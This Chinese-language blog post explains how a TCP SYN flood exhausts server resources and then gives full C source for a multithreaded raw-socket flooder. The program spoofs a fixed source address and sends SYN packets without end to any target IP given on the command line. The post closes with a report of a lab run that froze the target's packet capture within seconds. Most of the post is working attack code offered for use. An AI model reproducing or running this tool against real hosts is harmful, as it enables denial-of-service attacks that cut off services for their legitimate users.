Linux C语言实现SYN包泛洪攻击
TCP SYN泛洪发生在OSI第四层,这种方式利用TCP协议的特性,就是三次握手。攻击者发送TCP SYN,SYN是TCP三次握手中的第一个数据包,而当服务器返回ACK后,该攻击者就不对其进行再确认,那这个TCP连接就处于挂起状态,也就是所谓的半连接状态,服务器收不到再确认的话,还会重复发送ACK给攻击者。这样更加会浪费服务器的资源。攻击者就对服务器发送非常大量的这种TCP连接,由于每一个都没法完
·
TCP SYN泛洪发生在OSI第四层,这种方式利用TCP协议的特性,就是三次握手。攻击者发送TCP SYN,SYN是TCP三次握手中的第一个数据包,而当服务器返回ACK后,该攻击者就不对其进行再确认,那这个TCP连接就处于挂起状态,也就是所谓的半连接状态,服务器收不到再确认的话,还会重复发送ACK给攻击者。这样更加会浪费服务器的资源。攻击者就对服务器发送非常大量的这种TCP连接,由于每一个都没法完成三次握手,所以在服务器上,这些TCP连接会因为挂起状态而消耗CPU和内存,最后服务器可能死机,就无法为正常用户提供服务了。
C语言代码如下:
/******************************************************************************
Copyright (C), 2018-2019, xxx Co.xxx, Ltd.
******************************************************************************
File Name : Dos_tcp.c
Version : V1.0
Author : lijd
Created : 2018/12/07
Description : tcp方式Dos攻击编码实现
******************************************************************************/
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#define MAXCHILD 128
#define PROTO_NAME "tcp"
#define FAKE_IP "192.168.0.222"
static unsigned long dest = 0;
static unsigned short dest_port = 0;
static int PROTO_TCP = -1;
static int alive = -1;
int rawsock = 0;
typedef struct dosseg_t{
struct ip iph;
struct tcphdr tcph;
unsigned char data[8192];
}DOSSEG_T;
//数据包校验
static unsigned short Dos_cksum(unsigned short *data, int length)
{
register int left = length;
register unsigned short *word = data;
register int sum = 0;
unsigned short ret = 0;
while(left > 1)
{
sum += *word++;
left -= 2;
}
if(left == 1)
{
*(unsigned char *)(&ret) = *(unsigned char *)word;
sum += ret;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
ret = ~sum;
return (ret);
}
/* 随机生成攻击请求源端口 */
static inline long myrandom(int begin, int end)
{
int gap = end - begin + 1;
int ret = 0;
srand((unsigned)time(0));
ret = random()%gap + begin;
return ret;
}
static void Dos_sig()
{
alive = 0;
printf("stop DoS Attack!\n");
}
/* 构造tcp的请求syn包 */
void DoS_tcp_pack(char* packet)
{
char *buffer;
struct ip* ip_hdr = (struct ip*)packet;
struct tcphdr* tcp_hdr = (struct tcphdr*)(packet + sizeof(struct ip));
//ip头赋值
ip_hdr->ip_v = 4;
ip_hdr->ip_hl = 5;
ip_hdr->ip_tos = 0;
ip_hdr->ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr));
ip_hdr->ip_id = htons(getpid());
ip_hdr->ip_off = 0;
ip_hdr->ip_ttl = 64;
ip_hdr->ip_p = PROTO_TCP;
ip_hdr->ip_sum = 0;
ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP); //伪装源地址
ip_hdr->ip_dst.s_addr = dest; //攻击的目的主机地址
ip_hdr->ip_sum = Dos_cksum((unsigned short *)ip_hdr, (4*ip_hdr->ip_hl + sizeof(struct tcphdr) + 1) & ~1);
//tcp赋值
tcp_hdr->seq = htonl((unsigned long)myrandom(0, 65535));
tcp_hdr->ack_seq = htons(myrandom(0, 65535));
tcp_hdr->syn = 1;
tcp_hdr->urg = 1;
tcp_hdr->window = htons(myrandom(0, 65535));
tcp_hdr->check = 0;
tcp_hdr->urg_ptr = htons(myrandom(0, 65535));
tcp_hdr->check = Dos_cksum((unsigned short *)tcp_hdr, (sizeof(struct ip) + sizeof(struct tcphdr) + 1) & ~1);
}
void Dos_Attack()
{
DOSSEG_T packet;
struct sockaddr_in to;
DoS_tcp_pack((char *)&packet);
to.sin_family = AF_INET;
to.sin_addr.s_addr = dest;
to.sin_port = htons(0);
while(alive) //控制发包的全局变量
{
sendto(rawsock, &packet, 4*packet.iph.ip_hl + sizeof(struct tcphdr), 0, (struct sockaddr*)&to, sizeof(struct sockaddr));
}
}
int main(int argc, char* argv[])
{
struct hostent* host = NULL;
struct protoent* protocol = NULL;
int i = 0, err = -1;
pthread_t attack_thread[MAXCHILD];
/* 创建停止信号接收函数 */
alive = 1;
signal(SIGINT, Dos_sig);
if(argc < 3)
{
printf("-------------Invalid input---------------!\n");
return -1;
}
protocol = getprotobyname(PROTO_NAME);
if(protocol == NULL)
{
printf("Fail to getprotobyname!\n");
return -1;
}
PROTO_TCP = protocol->p_proto;
//参数1:攻击目的IP 参数2:攻击的目的Port
dest = inet_addr(argv[1]);
dest_port = atoi(argv[2]);
if(dest == INADDR_NONE)
{
host = gethostbyname(argv[1]);
if(host == NULL)
{
printf("Invalid IP or Domain name!\n");
return -1;
}
memcpy((char *)&dest, host->h_addr, host->h_length);
}
//创建原始套接字
rawsock = socket(AF_INET, SOCK_RAW, PROTO_TCP);
if(rawsock < 0)
{
printf("Fait to create socket!\n");
return -1;
}
//设置IP选项
setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL, "1", sizeof("1"));
printf("ICMP FLOOD ATTACK START\n");
for(i = 0; i < MAXCHILD; i++)
{
err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);
if(err)
{
printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);
}
}
for(i = 0; i < MAXCHILD; i++)
{
pthread_join(attack_thread[i], NULL);
//等待线程结束
}
printf("ICMP ATTACK FINISHI!\n");
close(rawsock);
return 0;
}
由以上代码中将攻击源IP伪装设置为:192.168.0.222,实际攻击主机为:10.0.13.111。攻击的目的主机为:10.0.13.222。尝试攻击时间仅仅3秒钟,被攻击端的Wirshark攻击已经卡死。等待一会恢复后可查攻击数据包高达62万之多,可想而知,如果长时间被攻击服务器处于这种状态肯定会沦陷。攻击截图如下。
更多推荐
已为社区贡献1条内容
所有评论(0)